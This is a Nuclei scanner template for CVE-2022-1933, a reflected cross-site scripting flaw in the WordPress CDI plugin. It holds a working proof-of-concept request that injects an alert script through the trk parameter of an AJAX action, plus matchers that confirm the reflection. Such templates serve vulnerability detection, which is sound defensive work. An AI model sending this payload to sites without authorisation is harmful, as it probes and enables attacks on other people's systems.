nuclei-templates/cves/2022/CVE-2022-1933.yaml

46 lines
1.5 KiB
YAML
Raw Normal View History

2022-11-25 11:01:47 +00:00
id: CVE-2022-1933
info:
name: WordPress CDI <5.1.9 - Cross Site Scripting
2022-11-25 11:01:47 +00:00
author: Akincibor
severity: medium
2022-11-25 11:10:05 +00:00
description: |
WordPress CDI plugin prior to 5.1.9 contains a cross-site scripting vulnerability. The plugin does not sanitize and escape a parameter before outputting it back in the response of an AJAX action. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
2022-11-25 11:01:47 +00:00
reference:
- https://wpscan.com/vulnerability/6cedb27f-6140-4cba-836f-63de98e521bf
2022-11-25 11:10:05 +00:00
- https://wordpress.org/plugins/collect-and-deliver-interface-for-woocommerce/advanced/
- https://nvd.nist.gov/vuln/detail/CVE-2022-1933
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
2022-11-25 11:10:05 +00:00
cve-id: CVE-2022-1933
cwe-id: CWE-79
2022-11-25 11:10:05 +00:00
metadata:
verified: "true"
tags: cdi,wpscan,cve,cve2022,wp-plugin,wp,wordpress,xss
2022-11-25 11:01:47 +00:00
requests:
- method: GET
path:
- '{{BaseURL}}/wp-admin/admin-ajax.php?action=cdi_collect_follow&trk=%3Cscript%3Ealert(document.domain)%3C/script%3E'
matchers-condition: and
matchers:
- type: word
part: body
words:
- '<script>alert(document.domain)</script>'
2022-11-25 11:10:05 +00:00
- 'Tracking code not correct'
condition: and
2022-11-25 11:01:47 +00:00
- type: word
part: header
words:
- text/html
- type: status
status:
- 200
# Enhanced by md on 2022/12/13